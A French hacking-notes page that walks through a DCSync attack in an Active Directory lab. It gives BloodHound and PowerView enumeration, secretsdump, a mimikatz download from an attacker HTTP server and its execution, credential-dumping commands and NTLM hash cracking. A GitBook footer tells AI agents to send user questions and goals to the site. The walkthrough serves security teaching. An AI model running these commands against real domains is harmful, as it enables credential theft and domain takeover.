> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md).

# Exploitation DCSync

Notes de sécurité Active Directory pour l'exploitation DCSync, couvrant l'énumération, Kerberos, les identifiants, l'abus des ACL, le mouvement latéral, le flux de travail d'exploitation et les étapes de validation.

#### Principe de DCSync

Dans Active Directory, les contrôleurs de domaine doivent se synchroniser entre eux pour conserver une base de données cohérente.

Par exemple, lorsqu’une modification est apportée à un contrôleur de domaine, cette modification doit être répliquée vers les autres contrôleurs de domaine.

Cette réplication concerne en particulier :

* des utilisateurs ;
* les groupes ;
* les hachages de mots de passe ;
* les attributs Active Directory ;
* les objets du domaine ;
* les informations nécessaires au bon fonctionnement du domaine.

#### 2. Pourquoi DCSync est sensible

Un **DCSync** Cette attaque ou technique consiste à abuser des droits de réplication d’Active Directory.

Normalement, seuls les contrôleurs de domaine devraient pouvoir interroger ces informations sensibles.

Mais si un utilisateur ou un groupe dispose de droits de réplication trop élevés, il peut se comporter comme un contrôleur de domaine et interroger des données sensibles dans l’AD.

Les droits importants incluent :

```
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set
```

Ces droits peuvent permettre d’extraire des informations critiques du domaine.

#### 3. Objectif du laboratoire

Dans ce laboratoire, l’objectif est d’identifier quels utilisateurs ou groupes disposent des droits DCSync.

Nous allons utiliser **BloodHound** afin de trouver les comptes qui disposent de ces autorisations.

#### 4. Rechercher les comptes disposant des droits DCSync dans BloodHound

Dans BloodHound, vous pouvez utiliser la requête prédéfinie suivante :

```bash
Trouver les principaux disposant des droits DCSync
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-324c17f532ad6c0943ff8dadacdb0768e06ba6c6%2Fimage%20(32).png?alt=media" alt=""><figcaption></figcaption></figure>

Cette requête identifie les principaux — utilisateurs, groupes ou ordinateurs — qui disposent de droits de réplication sur le domaine.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f87851e76411e345eef0478b02e45aad354aad1%2Fimage%20(33).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 5. Recherche avec PowerView

Avec PowerView, il est également possible d’identifier les comptes disposant de ces droits à l’aide de la commande suivante :

{% code overflow="wrap" %}

```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.ObjectAceType -match "DS-Replication-Get-Changes"} | select ObjectDN,ObjectAceType,@{name="Name";expression={Convert-SidToName $_.SecurityIdentifier}}
```

{% endcode %}

Cette commande affiche les objets disposant d’autorisations liées à la réplication Active Directory.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adf0a02f00616a1de5fef0c6bc27c50d04a214d3%2Fimage%20(34).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 6. Modification du mot de passe du compte ciblé

Dans le laboratoire, nous modifions ensuite le mot de passe du compte identifié afin de pouvoir l’utiliser pour l’exploitation.

Mot de passe utilisé :

```
Password1@
```

#### 7. Exploitation à distance avec secretsdump

Vous pouvez ensuite utiliser `secretsdump.py` pour utiliser les droits DCSync à distance :

{% code overflow="wrap" %}

```bash
secretsdump.py 'whoami.local/hyacinthe.maryrose:'Password1@'@172.16.0.100'
```

{% endcode %}

Cela permet de récupérer des informations sensibles accessibles grâce aux droits de réplication du compte.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05d91edb4734defbe033937059aa5b09e6ae17d0%2Fimage%20(3278).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 8. Utilisation de Mimikatz sur une machine Windows

{% embed url="<https://github.com/gentilkiwi/mimikatz>" %}

Nous téléchargeons ensuite Mimikatz sous forme d’ `.zip` archive, puis transférons l’exécutable vers la machine Windows du laboratoire.

Sur la machine d’attaque, nous lançons un serveur HTTP :

{% code overflow="wrap" %}

```wasm
python3 -m http.server 8000
```

{% endcode %}

Depuis la machine Windows, nous téléchargeons l’exécutable

{% code overflow="wrap" %}

```powershell
(New-Object System.NET.WebClient).DownloadFile('http://172.16.0.2:8000/mimikatz.exe', 'mimikatz.exe')
```

{% endcode %}

Puis nous l’exécutons :

{% code overflow="wrap" %}

```powershell
. ./mimikatz.exe
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e97cd7606aab63c9228f47f1cec16a986c4363b%2Fimage%20(3274).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 9. Récupération du hash de l’administrateur

Avec Mimikatz, vous pouvez interroger la réplication des secrets d’un utilisateur spécifique, par exemple le compte administrateur :

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /user:whoami/administrador
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b2bd12c98fc32e3f02a3883b5b811492fc72eac%2Fimage%20(3275).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 10. Récupération des hashes de tous les utilisateurs

Il est également possible d’interroger les informations de tous les utilisateurs du domaine :

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /whoami:whoami.local /all /csv
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aa92ec9a1cfa496a6986185fb45a1acedc62f47e%2Fimage%20(3276).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 12. Préparation du hash pour le cassage

Nous plaçons ensuite le hash récupéré dans un fichier dans un format compatible avec John the Ripper :

{% code overflow="wrap" %}

```bash
echo Administrador:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86::: > admin.hash
```

{% endcode %}

Puis nous lançons le cassage du hash NTLM :

{% code overflow="wrap" %}

```bash
john --format=NT admin.hash
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bcab24bfbc58a151d4d184e27953aa66798873db%2Fimage%20(3279).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
